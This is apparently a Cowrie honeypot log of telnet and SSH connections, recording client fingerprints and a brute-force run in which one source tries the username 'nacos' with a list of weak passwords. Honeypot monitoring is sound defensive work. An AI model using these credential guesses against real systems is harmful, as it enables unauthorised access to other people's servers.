{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51902,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d200e9f173c","protocol":"telnet","message":"New connection: 38.60.198.128:51902 (159.203.135.109:23) [session: 2d200e9f173c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:41.400615Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"12345678","message":"login attempt [nacos/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:41.443580Z","src_ip":"36.253.9.69","session":"a555f808b7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:42.677437Z","src_ip":"36.253.9.69","session":"a555f808b7f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":40070,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c3b4b046a46","protocol":"ssh","message":"New connection: 36.253.9.69:40070 (10.17.0.5:22) [session: 9c3b4b046a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:42.899499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:42.904362Z","src_ip":"36.253.9.69","session":"9c3b4b046a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:43.131697Z","src_ip":"36.253.9.69","session":"9c3b4b046a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52234,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fbf44a8e8c9","protocol":"telnet","message":"New connection: 38.54.119.93:52234 (10.17.0.5:23) [session: 9fbf44a8e8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:43.390520Z"}
{"eventid":"cowrie.session.closed","duration":42.10812473297119,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:44.001469Z","src_ip":"38.60.198.128","session":"73f153a0f978","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos1","message":"login attempt [nacos/nacos1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:44.114295Z","src_ip":"36.253.9.69","session":"9c3b4b046a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.03183388710022,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:44.128250Z","src_ip":"38.60.198.128","session":"5d008b1c69b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:45.345672Z","src_ip":"36.253.9.69","session":"9c3b4b046a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57742,"dst_ip":"159.203.135.109","dst_port":23,"session":"9287a5034cbf","protocol":"telnet","message":"New connection: 38.60.198.128:57742 (159.203.135.109:23) [session: 9287a5034cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:45.444980Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":40078,"dst_ip":"10.17.0.5","dst_port":22,"session":"960bae623967","protocol":"ssh","message":"New connection: 36.253.9.69:40078 (10.17.0.5:22) [session: 960bae623967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:45.585793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:45.591156Z","src_ip":"36.253.9.69","session":"960bae623967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:45.827178Z","src_ip":"36.253.9.69","session":"960bae623967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53960,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab4e4e9c74d","protocol":"telnet","message":"New connection: 38.54.119.93:53960 (10.17.0.5:23) [session: 0ab4e4e9c74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:46.154182Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos123","message":"login attempt [nacos/nacos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:46.843167Z","src_ip":"36.253.9.69","session":"960bae623967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59674,"dst_ip":"159.203.135.109","dst_port":23,"session":"054c9c5dc64c","protocol":"telnet","message":"New connection: 38.60.198.128:59674 (159.203.135.109:23) [session: 054c9c5dc64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:46.864473Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:48.083395Z","src_ip":"36.253.9.69","session":"960bae623967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38458,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e8b91923cd","protocol":"ssh","message":"New connection: 36.253.9.69:38458 (10.17.0.5:22) [session: e2e8b91923cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:48.314446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:48.336273Z","src_ip":"36.253.9.69","session":"e2e8b91923cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:48.564561Z","src_ip":"36.253.9.69","session":"e2e8b91923cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":54194,"dst_ip":"10.17.0.5","dst_port":23,"session":"db3d8fb71fc5","protocol":"telnet","message":"New connection: 45.81.23.16:54194 (10.17.0.5:23) [session: db3d8fb71fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:49.093388Z"}
{"eventid":"cowrie.session.closed","duration":6.140625953674316,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:49.531040Z","src_ip":"38.54.119.93","session":"9fbf44a8e8c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1","message":"login attempt [nacos/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:49.548218Z","src_ip":"36.253.9.69","session":"e2e8b91923cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":54200,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cac68ad381d","protocol":"telnet","message":"New connection: 45.81.23.16:54200 (10.17.0.5:23) [session: 6cac68ad381d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:49.966330Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36786,"dst_ip":"159.203.135.109","dst_port":23,"session":"65697cd134c3","protocol":"telnet","message":"New connection: 38.60.198.128:36786 (159.203.135.109:23) [session: 65697cd134c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:50.668174Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:50.782809Z","src_ip":"36.253.9.69","session":"e2e8b91923cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.632840633392334,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:50.786861Z","src_ip":"38.54.119.93","session":"0ab4e4e9c74d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":49952,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c9d52600be9","protocol":"telnet","message":"New connection: 192.211.53.160:49952 (159.203.135.109:23) [session: 2c9d52600be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:50.938521Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38472,"dst_ip":"10.17.0.5","dst_port":22,"session":"f15457ff0326","protocol":"ssh","message":"New connection: 36.253.9.69:38472 (10.17.0.5:22) [session: f15457ff0326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:51.017479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:51.022412Z","src_ip":"36.253.9.69","session":"f15457ff0326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:51.279941Z","src_ip":"36.253.9.69","session":"f15457ff0326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"123","message":"login attempt [nacos/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:52.419962Z","src_ip":"36.253.9.69","session":"f15457ff0326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":50058,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8412626359","protocol":"telnet","message":"New connection: 192.211.53.160:50058 (159.203.135.109:23) [session: ab8412626359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:53.252332Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:53.670174Z","src_ip":"36.253.9.69","session":"f15457ff0326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38476,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd291b2ba97","protocol":"ssh","message":"New connection: 36.253.9.69:38476 (10.17.0.5:22) [session: 6bd291b2ba97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:53.878791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:53.883530Z","src_ip":"36.253.9.69","session":"6bd291b2ba97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:54.104070Z","src_ip":"36.253.9.69","session":"6bd291b2ba97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"password2026","message":"login attempt [nacos/password2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:55.074390Z","src_ip":"36.253.9.69","session":"6bd291b2ba97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:56.299532Z","src_ip":"36.253.9.69","session":"6bd291b2ba97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38486,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c9b56d2f107","protocol":"ssh","message":"New connection: 36.253.9.69:38486 (10.17.0.5:22) [session: 2c9b56d2f107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:56.524246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:56.528821Z","src_ip":"36.253.9.69","session":"2c9b56d2f107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:56.748350Z","src_ip":"36.253.9.69","session":"2c9b56d2f107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"password2025","message":"login attempt [nacos/password2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:57.703748Z","src_ip":"36.253.9.69","session":"2c9b56d2f107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:58.949586Z","src_ip":"36.253.9.69","session":"2c9b56d2f107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":47344,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac518d948998","protocol":"ssh","message":"New connection: 36.253.9.69:47344 (10.17.0.5:22) [session: ac518d948998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:59.193620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:59.198640Z","src_ip":"36.253.9.69","session":"ac518d948998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:59.446581Z","src_ip":"36.253.9.69","session":"ac518d948998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"111111","message":"login attempt [nacos/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:00.510462Z","src_ip":"36.253.9.69","session":"ac518d948998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.277226209640503,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:01.370511Z","src_ip":"45.81.23.16","session":"db3d8fb71fc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:01.764304Z","src_ip":"36.253.9.69","session":"ac518d948998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":47360,"dst_ip":"10.17.0.5","dst_port":22,"session":"97fd9e7e85e9","protocol":"ssh","message":"New connection: 36.253.9.69:47360 (10.17.0.5:22) [session: 97fd9e7e85e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:01.987952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:01.992533Z","src_ip":"36.253.9.69","session":"97fd9e7e85e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.03819179534912,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:02.224475Z","src_ip":"38.60.198.128","session":"846b1022fa46","protocol":"telnet"}
